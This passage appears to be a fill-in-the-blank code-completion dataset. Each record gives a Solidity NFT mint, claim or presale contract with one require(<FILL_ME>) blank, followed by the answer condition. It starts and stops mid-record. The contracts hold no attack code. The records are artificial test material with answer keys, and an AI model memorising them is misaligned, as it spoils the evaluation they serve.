function getTokenData(address creatorContractAddress, uint256 tokenId) external view returns(uint80 tokenData) {
}
function getCombinationForInstanceToken(address creatorContractAddress, uint256 instanceId, uint256 tokenId) external view returns(uint256 combinationId) {
}
function getInstanceIdForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint56 instanceId ) {
}
function getCombinationForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint256 combinationId) {
}
/**
* See {ICreatorExtensionTokenURI-tokenURI}.
*/
function tokenURI(address creatorContractAddress, uint256 tokenId) external override view returns(string memory uri) {
}
}
| newMintIndex-claim.total-1<=MAX_UINT_24,"Too many requested" | 88,117 | newMintIndex-claim.total-1<=MAX_UINT_24 |
"Combination Unavailable" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interfaces
import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol";
import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./IERC721LazyPayableClaim.sol";
import "./IERC721CreatorCoreVersion.sol";
// Abstract
import "./LazyPayableClaim.sol";
/**
* @title Pickable Claim
* @author @thedepthofthedaimon
* @notice Pickable Claim with optional whitelist ERC721 tokens
*/
contract Pickable is IERC165, IERC721LazyPayableClaim, ICreatorExtensionTokenURI, LazyPayableClaim {
using Strings for uint256;
// stores mapping from contractAddress/instanceId to the claim it represents
// { contractAddress => { instanceId => Claim } }
mapping(address => mapping(uint256 => Claim)) private _claims;
// stores mapping from contractAddress/instanceId to the _picks information
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _tokenToCombination; // _tokenToCombination[contractCreatorAddress][instanceId][tokenId] = combinationId + 1 (0: Available to Reserve)
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationToToken; // _combinationToToken[contractCreatorAddress][instanceId][combinationId] = tokenId (0: Available to Reserve, tokenId starts at 1)
// bitmapped information on picked nfts
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationMap; // _combinationMap[contractCreatorAddress][instanceId][bitmapOffset] = uint256
event ReservedCombination(address indexed creatorContract, uint256 indexed instanceId, uint256 tokenId, uint256 combinationId);
function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, IERC165) returns (bool) {
}
function checkVersion(address creatorContractAddress) public view returns (uint8) {
}
/**
* See {IERC721LazyClaim-initializeClaim}.
*/
function initializeClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters calldata claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-udpateClaim}.
*/
function updateClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters memory claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-updateTokenURIParams}.
*/
function updateTokenURIParams(
address creatorContractAddress, uint256 instanceId,
TokenUriStyle tokenUriStyle,
ReservationState reservationState,
string calldata location,
string calldata extension
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {ILazyPayableClaim-getClaim}.
*/
function getClaim(address creatorContractAddress, uint256 instanceId) public override view returns(Claim memory) {
}
/**
* See {ILazyPayableClaim-getClaimForToken}.
*/
function getClaimForToken(address creatorContractAddress, uint256 tokenId) external override view returns(uint256 instanceId, Claim memory claim) {
}
function _getClaim(address creatorContractAddress, uint256 instanceId) private view returns(Claim storage claim) {
}
/**
* See {ILazyPayableClaim-mint}.
*/
function mint(address creatorContractAddress, uint256 instanceId) external payable override {
}
/**
* See {ILazyPayableClaim-mintBatch}.
*/
function mintBatch(address creatorContractAddress, uint256 instanceId, uint16 mintCount) external payable override {
}
/**
* See {IERC721LazyClaim-airdrop}.
*/
function airdrop(address creatorContractAddress, uint256 instanceId, address[] calldata recipients,
uint16[] calldata amounts) external override creatorAdminRequired(creatorContractAddress) {
}
function getCombinationMapPage(address creatorContractAddress, uint256 instanceId, uint256 page) external view returns(uint256) {
}
function _reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) internal {
Claim storage claim = _claims[creatorContractAddress][instanceId];
AdminControl creatorCoreContract = AdminControl(creatorContractAddress);
if(creatorCoreContract.isAdmin(msg.sender) == false) {
require( msg.sender == IERC721(creatorContractAddress).ownerOf(tokenId), "Caller not owner" );
}
require( claim.reservationState == ReservationState.RESERVATION_OPEN, "Reservations Closed");
require( tokenId < claim.totalMax, "Invalid Token");
require( combinationId < claim.combinationMax, "Invalid Combination"); // maxCombintion = 100, valid combinationId = 0..99
// Solidity 0.8 required
uint256 combinationPage = combinationId / 256;
uint256 combinationMask = 1 << (combinationId % 256);
// Mark Combination Map
require(<FILL_ME>)
_combinationMap[creatorContractAddress][instanceId][combinationPage] |= combinationMask;
// Map Token => Combination
require (_tokenToCombination[creatorContractAddress][instanceId][tokenId] == 0, "Token Has Reservation");
_tokenToCombination[creatorContractAddress][instanceId][tokenId] = combinationId + 1; /* offset by 1, unused = 0 */
// Map Combination => Token
_combinationToToken[creatorContractAddress][instanceId][combinationId] = tokenId;
// Finish
emit ReservedCombination(creatorContractAddress, instanceId, tokenId, combinationId);
}
function reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) external {
}
function reserveBatch(address creatorContractAddress, uint256 instanceId, uint256[] calldata tokenIds, uint256[] calldata combinationIds) external {
}
function getTokenData(address creatorContractAddress, uint256 tokenId) external view returns(uint80 tokenData) {
}
function getCombinationForInstanceToken(address creatorContractAddress, uint256 instanceId, uint256 tokenId) external view returns(uint256 combinationId) {
}
function getInstanceIdForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint56 instanceId ) {
}
function getCombinationForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint256 combinationId) {
}
/**
* See {ICreatorExtensionTokenURI-tokenURI}.
*/
function tokenURI(address creatorContractAddress, uint256 tokenId) external override view returns(string memory uri) {
}
}
| _combinationMap[creatorContractAddress][instanceId][combinationPage]&combinationMask==0,"Combination Unavailable" | 88,117 | _combinationMap[creatorContractAddress][instanceId][combinationPage]&combinationMask==0 |
"Token Has Reservation" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interfaces
import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol";
import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./IERC721LazyPayableClaim.sol";
import "./IERC721CreatorCoreVersion.sol";
// Abstract
import "./LazyPayableClaim.sol";
/**
* @title Pickable Claim
* @author @thedepthofthedaimon
* @notice Pickable Claim with optional whitelist ERC721 tokens
*/
contract Pickable is IERC165, IERC721LazyPayableClaim, ICreatorExtensionTokenURI, LazyPayableClaim {
using Strings for uint256;
// stores mapping from contractAddress/instanceId to the claim it represents
// { contractAddress => { instanceId => Claim } }
mapping(address => mapping(uint256 => Claim)) private _claims;
// stores mapping from contractAddress/instanceId to the _picks information
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _tokenToCombination; // _tokenToCombination[contractCreatorAddress][instanceId][tokenId] = combinationId + 1 (0: Available to Reserve)
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationToToken; // _combinationToToken[contractCreatorAddress][instanceId][combinationId] = tokenId (0: Available to Reserve, tokenId starts at 1)
// bitmapped information on picked nfts
mapping(address => mapping(uint256 => mapping(uint256 => uint256))) private _combinationMap; // _combinationMap[contractCreatorAddress][instanceId][bitmapOffset] = uint256
event ReservedCombination(address indexed creatorContract, uint256 indexed instanceId, uint256 tokenId, uint256 combinationId);
function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, IERC165) returns (bool) {
}
function checkVersion(address creatorContractAddress) public view returns (uint8) {
}
/**
* See {IERC721LazyClaim-initializeClaim}.
*/
function initializeClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters calldata claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-udpateClaim}.
*/
function updateClaim(
address creatorContractAddress,
uint256 instanceId,
ClaimParameters memory claimParameters
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {IERC721LazyClaim-updateTokenURIParams}.
*/
function updateTokenURIParams(
address creatorContractAddress, uint256 instanceId,
TokenUriStyle tokenUriStyle,
ReservationState reservationState,
string calldata location,
string calldata extension
) external override creatorAdminRequired(creatorContractAddress) {
}
/**
* See {ILazyPayableClaim-getClaim}.
*/
function getClaim(address creatorContractAddress, uint256 instanceId) public override view returns(Claim memory) {
}
/**
* See {ILazyPayableClaim-getClaimForToken}.
*/
function getClaimForToken(address creatorContractAddress, uint256 tokenId) external override view returns(uint256 instanceId, Claim memory claim) {
}
function _getClaim(address creatorContractAddress, uint256 instanceId) private view returns(Claim storage claim) {
}
/**
* See {ILazyPayableClaim-mint}.
*/
function mint(address creatorContractAddress, uint256 instanceId) external payable override {
}
/**
* See {ILazyPayableClaim-mintBatch}.
*/
function mintBatch(address creatorContractAddress, uint256 instanceId, uint16 mintCount) external payable override {
}
/**
* See {IERC721LazyClaim-airdrop}.
*/
function airdrop(address creatorContractAddress, uint256 instanceId, address[] calldata recipients,
uint16[] calldata amounts) external override creatorAdminRequired(creatorContractAddress) {
}
function getCombinationMapPage(address creatorContractAddress, uint256 instanceId, uint256 page) external view returns(uint256) {
}
function _reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) internal {
Claim storage claim = _claims[creatorContractAddress][instanceId];
AdminControl creatorCoreContract = AdminControl(creatorContractAddress);
if(creatorCoreContract.isAdmin(msg.sender) == false) {
require( msg.sender == IERC721(creatorContractAddress).ownerOf(tokenId), "Caller not owner" );
}
require( claim.reservationState == ReservationState.RESERVATION_OPEN, "Reservations Closed");
require( tokenId < claim.totalMax, "Invalid Token");
require( combinationId < claim.combinationMax, "Invalid Combination"); // maxCombintion = 100, valid combinationId = 0..99
// Solidity 0.8 required
uint256 combinationPage = combinationId / 256;
uint256 combinationMask = 1 << (combinationId % 256);
// Mark Combination Map
require (_combinationMap[creatorContractAddress][instanceId][combinationPage] & combinationMask == 0, "Combination Unavailable");
_combinationMap[creatorContractAddress][instanceId][combinationPage] |= combinationMask;
// Map Token => Combination
require(<FILL_ME>)
_tokenToCombination[creatorContractAddress][instanceId][tokenId] = combinationId + 1; /* offset by 1, unused = 0 */
// Map Combination => Token
_combinationToToken[creatorContractAddress][instanceId][combinationId] = tokenId;
// Finish
emit ReservedCombination(creatorContractAddress, instanceId, tokenId, combinationId);
}
function reserve(address creatorContractAddress, uint256 instanceId, uint256 tokenId, uint256 combinationId) external {
}
function reserveBatch(address creatorContractAddress, uint256 instanceId, uint256[] calldata tokenIds, uint256[] calldata combinationIds) external {
}
function getTokenData(address creatorContractAddress, uint256 tokenId) external view returns(uint80 tokenData) {
}
function getCombinationForInstanceToken(address creatorContractAddress, uint256 instanceId, uint256 tokenId) external view returns(uint256 combinationId) {
}
function getInstanceIdForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint56 instanceId ) {
}
function getCombinationForToken(address creatorContractAddress, uint256 tokenId) external view returns(uint256 combinationId) {
}
/**
* See {ICreatorExtensionTokenURI-tokenURI}.
*/
function tokenURI(address creatorContractAddress, uint256 tokenId) external override view returns(string memory uri) {
}
}
| _tokenToCombination[creatorContractAddress][instanceId][tokenId]==0,"Token Has Reservation" | 88,117 | _tokenToCombination[creatorContractAddress][instanceId][tokenId]==0 |
"Duplicate preSaleID" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/[email protected]/token/ERC20/IERC20.sol";
import "@openzeppelin/[email protected]/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/[email protected]/utils/Address.sol";
import "@openzeppelin/[email protected]/access/AccessControl.sol";
import "@openzeppelin/[email protected]/security/ReentrancyGuard.sol";
contract LaunchPad is AccessControl, ReentrancyGuard {
using Address for address;
using SafeERC20 for IERC20;
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
event PreSaleClaimed(uint256 indexed roundID, address indexed sender, uint256 indexed preSaleID, uint256 preSaleNum);
event Refund(uint256 indexed roundID, address indexed recipient, uint256 amount);
struct Project {
address target; // nft or deposit or any contract
address payable receipt; // receive payment
address payment; // ETH or ERC20
uint256 nftPrice; // nft nftPrice
uint256 totalSales; // nft totalSales
uint256 startTime; // start
uint256 endTime; // end
mapping(address => mapping(uint256 => uint256)) preSaleRecords; //preSale records
}
// roundID => Project
mapping(uint256 => Project) private round;
constructor(address admin, address operator) {
}
receive() external payable {}
/**
* @dev Initializes a new presale round.
* This function sets up the details for a new launchpad project with a specified ID. It requires several parameters:
* - The target address of the presale.
* - The receipt address where funds will be sent.
* - The address of the ERC20 token to be used for payments (if any).
* - The price of each NFT in the presale.
* - The start and end times for the presale round.
*
* Note: This function can only be called by an account with the `OPERATOR_ROLE`.
*
* @param _roundID The ID of the presale round to set up.
* @param _target The target address of the presale.
* @param _receipt The receipt address where funds will be sent.
* @param _payment The address of the ERC20 token to be used for payments (if any).
* @param _nftPrice The price of each NFT in the presale.
* @param _startTime The start time for the presale round.
* @param _endTime The end time for the presale round.
*/
function launchpad(uint256 _roundID, address _target, address payable _receipt, address _payment, uint256 _nftPrice, uint256 _startTime, uint256 _endTime) public onlyRole(OPERATOR_ROLE) {
}
/**
* @dev Executes a presale transaction.
* This function allows a user to participate in a presale round by purchasing a specific amount of tokens.
* The function performs several checks to validate the transaction:
* - Checks that the current time is within the project's start and end times.
* - Verifies that the `preSaleID` has not been used before by the sender.
* - Checks that the `preSaleNum` is greater than 0.
* - If the project's payment address is the zero address, it checks that the value sent with the transaction is
* greater or equal to the total cost of the tokens. Any excess value is refunded to the sender.
* - If the project's payment address is not the zero address, it checks that no ether was sent with the transaction,
* and transfers the total cost of tokens from the sender to the project's receipt address using an ERC20 token transfer.
*
* After the checks and transfers, the function increments the project's total sales by `preSaleNum`,
* and records the total payment for the `preSaleID` of the sender.
*
* Finally, it emits a `PreSaleClaimed` event.
*
* @param roundID The ID of the Project.
* @param preSaleID The ID of the presale.
* @param preSaleNum The number of tokens to purchase in the presale.
*/
function preSale(uint256 roundID, uint256 preSaleID, uint256 preSaleNum) public payable nonReentrant {
Project storage project = round[roundID];
// Verify time
require(project.startTime <= block.timestamp, "The LaunchPad activity has not started");
require(project.endTime >= block.timestamp, "The LaunchPad activity has ended");
// Verify preSaleID and preSaleNum
require(<FILL_ME>)
require(preSaleNum > 0, "preSaleNum>0");
// Receipt token && Refund token
uint256 total = project.nftPrice * preSaleNum;
if (project.payment == address(0)) {
require(msg.value >= total, "Insufficient token");
uint256 _refund = msg.value - total;
if (_refund > 0) {
// Refund the excess token
payable(msg.sender).transfer(_refund);
}
// Transfer the total payment to the project receipt address
project.receipt.transfer(total);
} else {
require(msg.value == 0, "Needn't pay mainnet token");
// Transfer the total payment from the sender to the project receipt address
IERC20(project.payment).safeTransferFrom(msg.sender, project.receipt, total);
}
// Increment the total sales for the project
unchecked{
project.totalSales += preSaleNum;
}
// Record the total payment for the preSaleID of the sender
project.preSaleRecords[msg.sender][preSaleID] = total;
emit PreSaleClaimed(roundID, msg.sender, preSaleID, preSaleNum);
}
/**
* @dev Initiates refunds for a special project.
* This function allows the project owner to refund amounts to multiple recipients.
* It requires the round ID, the source address of the funds, an array of recipient addresses and an array of amounts.
*
* The function performs several checks to validate the parameters:
* - Verifies that the length of the recipients array is equal to the length of the amounts array.
*
* After the checks, it retrieves the ERC20 token used for payments in the presale round,
* and for each recipient in the array, it transfers the corresponding amount from the source address to the recipient.
* It then emits a `Refund` event for each transfer.
*
* Note: This function can only be called by an account with appropriate permissions (typically the contract owner).
*
* @param roundID The ID of the presale round.
* @param recipients An array of addresses to refund.
* @param amounts An array of amounts to refund to each recipient.
*/
function refund(uint256 roundID, address[] calldata recipients, uint256[] calldata amounts) external payable nonReentrant {
}
// Returns project details by the roundID.
function getProject(uint256 roundID) external view returns (address, address, address, uint256, uint256, uint256, uint256){
}
// Returns project totalSales by the roundID.
function getProjectTotalSales(uint256 roundID) external view returns (uint256){
}
// Returns project preSaleRecords by the roundID.
function getProjectPreSale(uint256 roundID, address user, uint256 preSaleID) external view returns (uint256){
}
/**
* @dev Executes a function call on another contract.
* @param dest The address of the contract to call.
* @param value The amount of ether/matic/mainnet token to send with the call.
* @param func The function signature and parameters to call.
*/
function execute(address dest, uint256 value, bytes calldata func) external onlyRole(OPERATOR_ROLE) {
}
/**
* @dev Executes a batch of function calls on multiple contracts.
* This function allows this contract to execute a batch of function calls on multiple contracts by specifying
* an array of destination addresses, an array of values to send with each call, and an array of function signatures
* and parameters for each call.
* @param dest An array of addresses of the contracts to call.
* @param value An array of amounts of ether/matic/mainnet token to send with each call.
* @param func An array of function signatures and parameters to call for each destination.
*/
function executeBatch(address[] calldata dest, uint256[] calldata value, bytes[] calldata func) external onlyRole(OPERATOR_ROLE) {
}
/**
* @dev Executes a low-level call to another contract.
* This internal function allows the contract to execute a low-level call to another contract,
* by specifying the target address, the value to send with the call, and the data to send.
*
* It performs the call and checks if it was successful. If not, it reverts the transaction and returns
* the error message from the failed call.
*
* Note: Use this function with caution as low-level calls can be dangerous.
*
* @param target The address of the contract to call.
* @param value The amount of ether/mainnet token to send with the call.
* @param data The data to send with the call.
*/
function _call(address target, uint256 value, bytes memory data) internal {
}
}
| project.preSaleRecords[msg.sender][preSaleID]==0,"Duplicate preSaleID" | 88,180 | project.preSaleRecords[msg.sender][preSaleID]==0 |
"User max free limit" | // _ _ ___ ____ _____ _ _ _____ ____ _ _ _ ___ ____ _ _ _____ ____
// | \ | |/ _ \| _ \_ _| | | | ____| _ \| \ | | | | |_ _/ ___| | | |_ _/ ___|
// | \| | | | | |_) || | | |_| | _| | |_) | \| | | | | | | _| |_| | | | \___ \
// | |\ | |_| | _ < | | | _ | |___| _ <| |\ | | |___ | | |_| | _ | | | ___) |
// |_| \_|\___/|_| \_\|_| |_| |_|_____|_| \_\_| \_| |_____|___\____|_| |_| |_| |____/
//
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Northern_Lights is Ownable, ERC721A {
uint256 constant public MAX_SUPPLY = 1000;
uint256 public publicPrice = 0.005 ether;
uint256 constant public PUBLIC_MINT_LIMIT_TXN = 2;
uint256 constant public PUBLIC_MINT_LIMIT = 4;
string private revealedURI = "ipfs://QmdD629PiUPUUco4YYvik276JkTUvKDpTxub4mGZPSRfvX/";
bool public paused = false;
bool public revealed = true;
bool public freeSale = false;
bool public publicSale = false;
address constant internal DEV_ADDRESS = 0x9ABB35294EbbDDE863a7119E639900Def8F18B36;
mapping(address => bool) public userMintedFree;
mapping(address => uint256) public numUserMints;
constructor(string memory _name, string memory _symbol, string memory _baseUri) ERC721A("Northern Lights", "NL") { }
function _startTokenId() internal view virtual override returns (uint256) {
}
function refundOverpay(uint256 price) private {
}
function freeMint(uint256 quantity) external payable mintCompliance(quantity) {
require(freeSale, "Free sale inactive");
require(msg.value == 0, "This phase is free");
require(quantity == 1, "Only #1 free");
uint256 newSupply = totalSupply() + quantity;
require(newSupply <= 600, "Not enough free supply");
require(<FILL_ME>)
userMintedFree[msg.sender] = true;
if(newSupply == 600) {
freeSale = false;
publicSale = true;
}
_safeMint(msg.sender, quantity);
}
function publicMint(uint256 quantity) external payable mintCompliance(quantity) {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPublicPrice(uint256 _publicPrice) public onlyOwner {
}
function setBaseURI(string memory _baseUri) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setPublicEnabled(bool _state) public onlyOwner {
}
function setFreeEnabled(bool _state) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
function mintToUser(uint256 quantity, address receiver) public onlyOwner mintCompliance(quantity) {
}
modifier mintCompliance(uint256 quantity) {
}
}
| !userMintedFree[msg.sender],"User max free limit" | 88,384 | !userMintedFree[msg.sender] |
"User max mint limit" | // _ _ ___ ____ _____ _ _ _____ ____ _ _ _ ___ ____ _ _ _____ ____
// | \ | |/ _ \| _ \_ _| | | | ____| _ \| \ | | | | |_ _/ ___| | | |_ _/ ___|
// | \| | | | | |_) || | | |_| | _| | |_) | \| | | | | | | _| |_| | | | \___ \
// | |\ | |_| | _ < | | | _ | |___| _ <| |\ | | |___ | | |_| | _ | | | ___) |
// |_| \_|\___/|_| \_\|_| |_| |_|_____|_| \_\_| \_| |_____|___\____|_| |_| |_| |____/
//
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Northern_Lights is Ownable, ERC721A {
uint256 constant public MAX_SUPPLY = 1000;
uint256 public publicPrice = 0.005 ether;
uint256 constant public PUBLIC_MINT_LIMIT_TXN = 2;
uint256 constant public PUBLIC_MINT_LIMIT = 4;
string private revealedURI = "ipfs://QmdD629PiUPUUco4YYvik276JkTUvKDpTxub4mGZPSRfvX/";
bool public paused = false;
bool public revealed = true;
bool public freeSale = false;
bool public publicSale = false;
address constant internal DEV_ADDRESS = 0x9ABB35294EbbDDE863a7119E639900Def8F18B36;
mapping(address => bool) public userMintedFree;
mapping(address => uint256) public numUserMints;
constructor(string memory _name, string memory _symbol, string memory _baseUri) ERC721A("Northern Lights", "NL") { }
function _startTokenId() internal view virtual override returns (uint256) {
}
function refundOverpay(uint256 price) private {
}
function freeMint(uint256 quantity) external payable mintCompliance(quantity) {
}
function publicMint(uint256 quantity) external payable mintCompliance(quantity) {
require(publicSale, "Public sale inactive");
require(quantity <= PUBLIC_MINT_LIMIT_TXN, "Quantity too high");
uint256 price = publicPrice;
uint256 currMints = numUserMints[msg.sender];
require(<FILL_ME>)
refundOverpay(price * quantity);
numUserMints[msg.sender] = (currMints + quantity);
_safeMint(msg.sender, quantity);
}
function walletOfOwner(address _owner) public view returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPublicPrice(uint256 _publicPrice) public onlyOwner {
}
function setBaseURI(string memory _baseUri) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setPublicEnabled(bool _state) public onlyOwner {
}
function setFreeEnabled(bool _state) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
function mintToUser(uint256 quantity, address receiver) public onlyOwner mintCompliance(quantity) {
}
modifier mintCompliance(uint256 quantity) {
}
}
| currMints+quantity<=PUBLIC_MINT_LIMIT,"User max mint limit" | 88,384 | currMints+quantity<=PUBLIC_MINT_LIMIT |
"Invalid Proof" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract StretchedOut is Ownable, ERC721A, ERC2981, ReentrancyGuard {
enum SalePhase {
unavailable,
whitelistMint,
publicMint
}
bool public IS_REVEALED = false;
bytes32 public rootHash =
0xc037df64847b888e1a2640947bdf5f052e285c5e2c08f66edbd237970208e0f1;
uint96 public ROYALTY_PERCENTAGE = 750;
uint256 public immutable MAX_FREE_PER_WALLET = 1;
uint256 public immutable MAX_SUPPLY = 6666;
uint256 public immutable MAX_TX_PER_WALLET = 2;
uint256 public immutable SALE_PRICE = 0.008 ether;
uint256 public immutable MAX_WHITELIST_TX = 5000;
string internal prerevealURI = "";
string internal baseURI = "";
SalePhase public SALE_PHASE = SalePhase.whitelistMint;
modifier isUser() {
}
constructor() ERC721A("StretchedOut", "StretchedOut") {
}
function internalMint(address buyerAddress, uint256 quantity)
external
onlyOwner
nonReentrant
isUser
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function getIsWhitelisted(bytes32[] memory merkleProof)
public
view
returns (bool)
{
}
function whitelistMint(uint256 quantity, bytes32[] memory merkleProof)
public
payable
virtual
nonReentrant
isUser
{
require(
SALE_PHASE == SalePhase.whitelistMint,
"Not in whitelist mint phase"
);
require(<FILL_ME>)
require(
totalSupply() + quantity <= MAX_WHITELIST_TX,
"Max whitelist supply reached"
);
require(totalSupply() + quantity <= MAX_SUPPLY, "Max supply reached");
require(
_numberMinted(msg.sender) + quantity <= MAX_TX_PER_WALLET,
"Max tx per wallet reached"
);
require(
msg.value >= getSalePrice(msg.sender, quantity),
"Insufficient funds"
);
_mint(msg.sender, quantity);
}
function externalMint(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
{
}
function getTotalMinted(address addr)
external
view
virtual
returns (uint256)
{
}
function setBaseURI(string memory newURI) external virtual onlyOwner {
}
function setPrerevealURI(string memory newURI) external virtual onlyOwner {
}
function setIsRevealed(bool isRevealed) external virtual onlyOwner {
}
function setSalePhase(SalePhase salePhase) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner nonReentrant isUser {
}
function getSalePrice(address sender, uint256 quantity)
private
view
returns (uint256)
{
}
}
| getIsWhitelisted(merkleProof),"Invalid Proof" | 88,430 | getIsWhitelisted(merkleProof) |
"Max whitelist supply reached" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract StretchedOut is Ownable, ERC721A, ERC2981, ReentrancyGuard {
enum SalePhase {
unavailable,
whitelistMint,
publicMint
}
bool public IS_REVEALED = false;
bytes32 public rootHash =
0xc037df64847b888e1a2640947bdf5f052e285c5e2c08f66edbd237970208e0f1;
uint96 public ROYALTY_PERCENTAGE = 750;
uint256 public immutable MAX_FREE_PER_WALLET = 1;
uint256 public immutable MAX_SUPPLY = 6666;
uint256 public immutable MAX_TX_PER_WALLET = 2;
uint256 public immutable SALE_PRICE = 0.008 ether;
uint256 public immutable MAX_WHITELIST_TX = 5000;
string internal prerevealURI = "";
string internal baseURI = "";
SalePhase public SALE_PHASE = SalePhase.whitelistMint;
modifier isUser() {
}
constructor() ERC721A("StretchedOut", "StretchedOut") {
}
function internalMint(address buyerAddress, uint256 quantity)
external
onlyOwner
nonReentrant
isUser
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function getIsWhitelisted(bytes32[] memory merkleProof)
public
view
returns (bool)
{
}
function whitelistMint(uint256 quantity, bytes32[] memory merkleProof)
public
payable
virtual
nonReentrant
isUser
{
require(
SALE_PHASE == SalePhase.whitelistMint,
"Not in whitelist mint phase"
);
require(getIsWhitelisted(merkleProof), "Invalid Proof");
require(<FILL_ME>)
require(totalSupply() + quantity <= MAX_SUPPLY, "Max supply reached");
require(
_numberMinted(msg.sender) + quantity <= MAX_TX_PER_WALLET,
"Max tx per wallet reached"
);
require(
msg.value >= getSalePrice(msg.sender, quantity),
"Insufficient funds"
);
_mint(msg.sender, quantity);
}
function externalMint(uint256 quantity)
public
payable
virtual
nonReentrant
isUser
{
}
function getTotalMinted(address addr)
external
view
virtual
returns (uint256)
{
}
function setBaseURI(string memory newURI) external virtual onlyOwner {
}
function setPrerevealURI(string memory newURI) external virtual onlyOwner {
}
function setIsRevealed(bool isRevealed) external virtual onlyOwner {
}
function setSalePhase(SalePhase salePhase) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner nonReentrant isUser {
}
function getSalePrice(address sender, uint256 quantity)
private
view
returns (uint256)
{
}
}
| totalSupply()+quantity<=MAX_WHITELIST_TX,"Max whitelist supply reached" | 88,430 | totalSupply()+quantity<=MAX_WHITELIST_TX |
"Max tx per wallet reached" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract StretchedOut is Ownable, ERC721A, ERC2981, ReentrancyGuard {
enum SalePhase {
unavailable,
whitelistMint,
publicMint
}
bool public IS_REVEALED = false;
bytes32 public rootHash =
0xc037df64847b888e1a2640947bdf5f052e285c5e2c08f66edbd237970208e0f1;
uint96 public ROYALTY_PERCENTAGE = 750;
uint256 public immutable MAX_FREE_PER_WALLET = 1;
uint256 public immutable MAX_SUPPLY = 6666;
uint256 public immutable MAX_TX_PER_WALLET = 2;
uint256 public immutable SALE_PRICE = 0.008 ether;
uint256 public immutable MAX_WHITELIST_TX = 5000;
string internal prerevealURI = "";
string internal baseURI = "";
SalePhase public SALE_PHASE = SalePhase.whitelistMint;
modifier isUser() {
}
constructor() ERC721A("StretchedOut", "StretchedOut") {
}
function internalMint(address buyerAddress, uint256 quantity)
external
onlyOwner
nonReentrant
isUser
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function getIsWhitelisted(bytes32[] memory merkleProof)
public
view
returns (bool)
{
}
function whitelistMint(uint256 quantity, bytes32[] memory merkleProof)
public
payable
virtual
nonReentrant
isUser
{
require(
SALE_PHASE == SalePhase.whitelistMint,
"Not in whitelist mint phase"
);
